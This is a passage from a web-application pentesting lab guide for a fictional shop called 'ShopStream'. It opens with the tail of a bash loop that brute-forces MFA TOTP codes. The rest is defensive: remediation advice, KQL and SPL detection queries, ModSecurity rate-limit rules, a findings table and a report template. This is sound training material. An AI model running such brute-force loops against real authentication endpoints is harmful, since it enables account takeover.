-d "{\"mfa_token\":\"temp_mfa_eyJ0eXAi...\",\"code\":\"$code\"}")
if echo "$response" | grep -q "success"; then
echo "Valid code: $code"
break
fi
done
# TOTP codes are 6 digits and rotate every 30 seconds.
# With no rate limiting, the valid code can be found within the 30-second window
# if request throughput is sufficient (~33,333 req/sec needed for full keyspace).
5.8 Remediation — Authentication & Session Attacks¶
Remediation Recommendations
JWT Security:
- Enforce algorithm in verification — never allow the JWT header to dictate the algorithm:
- Reject 'none' algorithm — ensure the JWT library is updated and configured to reject unsigned tokens
- Use asymmetric keys (RS256/ES256) for public-facing APIs; never expose symmetric secrets
- Minimize JWT claims — do not store roles in JWTs; look up roles server-side from the database
Session Management:
- Regenerate session IDs after login, privilege change, or role change
- Implement CSRF protection — use synchronizer tokens or verify
Origin/Refererheaders: - Set secure cookie attributes:
HttpOnly,Secure,SameSite=Strict
Password Reset:
- Use cryptographically random tokens (at least 32 bytes / 256 bits), not numeric codes
- Implement rate limiting on reset verification (e.g., 5 attempts per token)
- Set short expiration on reset tokens (15–30 minutes)
- Invalidate token after first use — single-use tokens only
MFA:
- Enforce MFA completion before granting any access — pre-MFA tokens should have zero permissions
- Rate limit MFA verification — lock account after 5 failed attempts
- Implement TOTP replay protection — reject reused codes within the same time window
5.9 Detection Opportunities — Authentication Attacks¶
-- KQL: Detect JWT 'none' algorithm usage
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where RequestHeader has "Authorization"
| extend JWT = extract("Bearer\\s+([^\\s]+)", 1, RequestHeader)
| extend JWTHeader = base64_decode_tostring(extract("^([^.]+)", 1, JWT))
| where JWTHeader has '"alg":"none"' or JWTHeader has '"alg":"None"' or JWTHeader has '"alg":"NONE"'
| project TimeGenerated, CIp, CsUriStem, JWTHeader
-- KQL: Detect brute-force on password reset codes
AppServiceHTTPLogs
| where TimeGenerated > ago(30m)
| where CsUriStem has "reset-password/verify"
| summarize Attempts = count(), SuccessCount = countif(ScStatus == 200) by CIp
| where Attempts > 20
| project CIp, Attempts, SuccessCount
| sort by Attempts desc
-- KQL: Detect MFA brute-force attempts
AppServiceHTTPLogs
| where TimeGenerated > ago(30m)
| where CsUriStem has "mfa/verify"
| summarize Attempts = count(), Failures = countif(ScStatus != 200) by CIp
| where Attempts > 10 and Failures > 8
| project CIp, Attempts, Failures, FailRate = round(Failures * 100.0 / Attempts, 1)
| sort by Attempts desc
-- KQL: Detect CSRF — requests from unexpected origins
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where CsMethod in ("POST", "PUT", "DELETE")
| extend Origin = extract("Origin:\\s*([^\\r\\n]+)", 1, RequestHeader)
| where Origin !has "shopstream.example.com" and isnotempty(Origin)
| project TimeGenerated, CIp, CsUriStem, CsMethod, Origin
| sort by TimeGenerated desc
// SPL: Detect password reset brute-force
index=web sourcetype=access_combined uri_path="*/reset-password/verify*" method=POST
| bin _time span=5m
| stats count as attempts dc(status) as status_codes by src_ip, _time
| where attempts > 20
| sort -attempts
// SPL: Detect MFA bypass attempts
index=web sourcetype=access_combined uri_path="*/mfa/verify*" method=POST
| bin _time span=10m
| stats count as attempts sum(eval(if(status!=200,1,0))) as failures by src_ip, _time
| where attempts > 10 AND failures > 8
| sort -attempts
// SPL: Detect session fixation — same session ID used by multiple IPs
index=web sourcetype=access_combined
| rex field=cookie "session_id=(?<session_id>[^;]+)"
| stats dc(src_ip) as unique_ips values(src_ip) as ip_list by session_id
| where unique_ips > 1
| sort -unique_ips
WAF Rule — Authentication Attack Protection (ModSecurity-style):
# Rate limit password reset endpoint
SecRule REQUEST_URI "@rx /api/v2/auth/reset-password/(verify|confirm)" \
"id:100004,\
phase:2,\
pass,\
nolog,\
setvar:'ip.reset_count=+1',\
expirevar:'ip.reset_count=300'"
SecRule IP:RESET_COUNT "@gt 10" \
"id:100005,\
phase:2,\
deny,\
status:429,\
log,\
msg:'Password reset brute-force — rate limit exceeded',\
tag:'AUTH/BRUTE_FORCE',\
severity:'HIGH'"
# Rate limit MFA verification endpoint
SecRule REQUEST_URI "@rx /api/v2/auth/mfa/verify" \
"id:100006,\
phase:2,\
pass,\
nolog,\
setvar:'ip.mfa_count=+1',\
expirevar:'ip.mfa_count=300'"
SecRule IP:MFA_COUNT "@gt 5" \
"id:100007,\
phase:2,\
deny,\
status:429,\
log,\
msg:'MFA brute-force — rate limit exceeded',\
tag:'AUTH/MFA_BRUTE_FORCE',\
severity:'HIGH'"
Lab Summary & Report Template¶
Vulnerability Summary¶
| # | Vulnerability | Severity | OWASP Category | CVSS (Est.) | Exercise |
|---|---|---|---|---|---|
| 1 | Internal configuration endpoint exposed | High | A01 — Broken Access Control | 7.5 | Ex. 1 |
| 2 | Git repository metadata exposed | High | A05 — Security Misconfiguration | 7.5 | Ex. 1 |
| 3 | Swagger/OpenAPI docs in production | Medium | A05 — Security Misconfiguration | 5.3 | Ex. 1 |
| 4 | Missing Content-Security-Policy | Medium | A05 — Security Misconfiguration | 5.0 | Ex. 1 |
| 5 | SQL Injection — login form (auth bypass) | Critical | A03 — Injection | 9.8 | Ex. 2 |
| 6 | SQL Injection — product search (data exfil) | Critical | A03 — Injection | 9.8 | Ex. 2 |
| 7 | Blind SQL Injection — time/boolean based | High | A03 — Injection | 8.6 | Ex. 2 |
| 8 | Reflected XSS — search | High | A03 — Injection | 6.1 | Ex. 3 |
| 9 | Stored XSS — reviews (session hijacking) | High | A03 — Injection | 8.1 | Ex. 3 |
| 10 | DOM-based XSS — URL fragment | Medium | A03 — Injection | 6.1 | Ex. 3 |
| 11 | SSRF — image import (internal network) | Critical | A10 — SSRF | 9.1 | Ex. 4 |
| 12 | SSRF — cloud metadata credential theft | Critical | A10 — SSRF | 9.8 | Ex. 4 |
| 13 | IDOR — order data exposure | High | A01 — Broken Access Control | 7.5 | Ex. 4 |
| 14 | IDOR — user profile exposure | High | A01 — Broken Access Control | 7.5 | Ex. 4 |
| 15 | Mass assignment — privilege escalation | Critical | A01 — Broken Access Control | 9.1 | Ex. 4 |
| 16 | JWT 'none' algorithm accepted | Critical | A07 — Auth Failures | 9.8 | Ex. 5 |
| 17 | JWT key confusion (RS256→HS256) | Critical | A07 — Auth Failures | 9.8 | Ex. 5 |
| 18 | Session fixation — no regeneration on login | High | A07 — Auth Failures | 7.5 | Ex. 5 |
| 19 | Missing CSRF protection | Medium | A01 — Broken Access Control | 6.5 | Ex. 5 |
| 20 | Weak password reset token (6-digit numeric) | Critical | A07 — Auth Failures | 9.1 | Ex. 5 |
| 21 | MFA bypass — partial token grants access | Critical | A07 — Auth Failures | 9.8 | Ex. 5 |
Severity Distribution¶
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Exercise |
|---|---|---|
| T1595.002 | Active Scanning: Vulnerability Scanning | Ex. 1 |
| T1190 | Exploit Public-Facing Application | Ex. 2, 3, 4 |
| T1059.007 | Command and Scripting Interpreter: JavaScript | Ex. 3 |
| T1557 | Adversary-in-the-Middle | Ex. 4 |
| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | Ex. 4 |
| T1078 | Valid Accounts | Ex. 5 |
| T1539 | Steal Web Session Cookie | Ex. 3, 5 |
| T1556 | Modify Authentication Process | Ex. 5 |
| T1110.001 | Brute Force: Password Guessing | Ex. 5 |
Pentest Report Template¶
Use the following template structure for your penetration test report:
# Web Application Penetration Test Report
## Pinnacle Commerce — ShopStream
### Executive Summary
- Scope, methodology, dates, overall risk rating
- Critical findings summary (1-2 paragraphs for executives)
### Methodology
- OWASP Testing Guide v4.2
- PTES (Penetration Testing Execution Standard)
- Tools used (Burp Suite, SQLMap, ffuf, Nikto, jwt_tool)
### Findings
For each finding:
- Title, Severity (Critical/High/Medium/Low), CVSS Score
- OWASP Category, CWE ID, MITRE ATT&CK Technique
- Description of the vulnerability
- Steps to reproduce (with redacted evidence)
- Business impact assessment
- Remediation recommendation (short-term and long-term)
- References (CWE, OWASP, vendor documentation)
### Risk Rating Matrix
- Likelihood × Impact = Risk Level
- Prioritized remediation roadmap
### Appendices
- A: Full tool output logs
- B: Screenshot evidence
- C: Scope agreement and rules of engagement
- D: Retesting results (after remediation)
Further Reading¶
Cross-References¶
- Chapter 22: Threat Actor Encyclopedia — threat actor profiles and TTPs
- Chapter 30: Application Security — secure SDLC, SAST/DAST integration
- Chapter 44: Web App Pentesting — advanced pentesting methodology and TTPs
- Chapter 35: DevSecOps Pipeline — integrating security testing into CI/CD
- Lab 11: Adversarial ML Attack — attacking AI/ML systems
- Lab 13: Cloud Red Team Simulation — cloud-focused attack simulation
- ATT&CK Technique Reference — detection queries mapped to ATT&CK
External Resources¶
- OWASP Testing Guide v4.2 — comprehensive web testing methodology
- OWASP Top 10 (2021) — top web application security risks
- PortSwigger Web Security Academy — hands-on web security labs
- MITRE ATT&CK — Enterprise — adversary tactics and techniques
- CWE Top 25 (2024) — most dangerous software weaknesses
- HackTricks — Web Pentesting — community-maintained pentesting knowledge base
- JWT.io — JWT debugger and library reference
- PayloadsAllTheThings — web application security payloads reference
CWE References¶
| CWE | Name | Exercise |
|---|---|---|
| CWE-89 | SQL Injection | Ex. 2 |
| CWE-79 | Cross-Site Scripting (XSS) | Ex. 3 |
| CWE-918 | Server-Side Request Forgery (SSRF) | Ex. 4 |
| CWE-639 | Authorization Bypass Through User-Controlled Key (IDOR) | Ex. 4 |
| CWE-915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes (Mass Assignment) | Ex. 4 |
| CWE-327 | Use of a Broken or Risky Cryptographic Algorithm (JWT none) | Ex. 5 |
| CWE-384 | Session Fixation | Ex. 5 |
| CWE-352 | Cross-Site Request Forgery (CSRF) | Ex. 5 |
| CWE-640 | Weak Password Recovery Mechanism | Ex. 5 |
| CWE-308 | Use of Single-factor Authentication (MFA Bypass) | Ex. 5 |